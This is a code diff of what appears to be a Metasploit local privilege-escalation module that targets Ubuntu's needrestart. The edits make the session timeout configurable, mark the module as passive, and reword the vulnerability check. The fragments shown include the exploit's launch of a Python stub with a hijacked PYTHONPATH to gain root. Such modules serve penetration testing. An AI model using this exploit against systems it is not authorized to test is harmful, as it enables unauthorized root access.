@@ -36,7 +36,8 @@ def initialize(info = {})
3636 ] ,
3737 'Platform' => [ 'linux' ] ,
3838 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
39- 'Stance' => Msf ::Exploit ::Stance ::Passive , # seems to not work...
39+ 'Stance' => Msf ::Exploit ::Stance ::Passive ,
40+ 'Passive' => true ,
4041 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
4142 'Targets' => [ [ 'Auto' , { } ] ] ,
4243 'Privileged' => true ,
@@ -55,7 +56,8 @@ def initialize(info = {})
5556 )
5657 )
5758 register_advanced_options [
58- OptString . new ( 'WritableDir' , [ true , 'A directory where we can write and execute files' , '/tmp' ] )
59+ OptString . new ( 'WritableDir' , [ true , 'A directory where we can write and execute files' , '/tmp' ] ) ,
60+ OptInt . new ( 'ListenerTimeout' , [ true , 'The maximum number of seconds to wait for session' , 90_000 ] ) # 25hrs
5961 ]
6062 end
6163
@@ -105,7 +107,7 @@ def check
105107
106108 return CheckCode ::Appears ( "Vulnerable needrestart version #{ package } detected on Ubuntu #{ version } " ) if package < fixed_versions [ version ]
107109
108- CheckCode ::Safe ( "needrestart is not vulnerable on Ubuntu #{ version } " )
110+ CheckCode ::Safe ( "needrestart version #{ package } is not vulnerable on Ubuntu #{ version } " )
109111 end
110112
111113 def exploit
@@ -166,9 +168,8 @@ def exploit
166168
167169 # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
168170 # output from the exploit being run, they can optionally see it
169- timeout = 90_000 # 25 hours
170171 print_status 'Launching exploit, and waiting for needrestart to run...'
171- output = cmd_exec "PYTHONPATH=\" #{ base_dir } \" python3 '#{ py_stub_path } '" , nil , timeout
172+ output = cmd_exec "PYTHONPATH=\" #{ base_dir } \" python3 '#{ py_stub_path } '" , nil , datastore [ 'ListenerTimeout' ]
172173 output . each_line { |line | vprint_status line . chomp }
173174 end
174175end
0 commit comments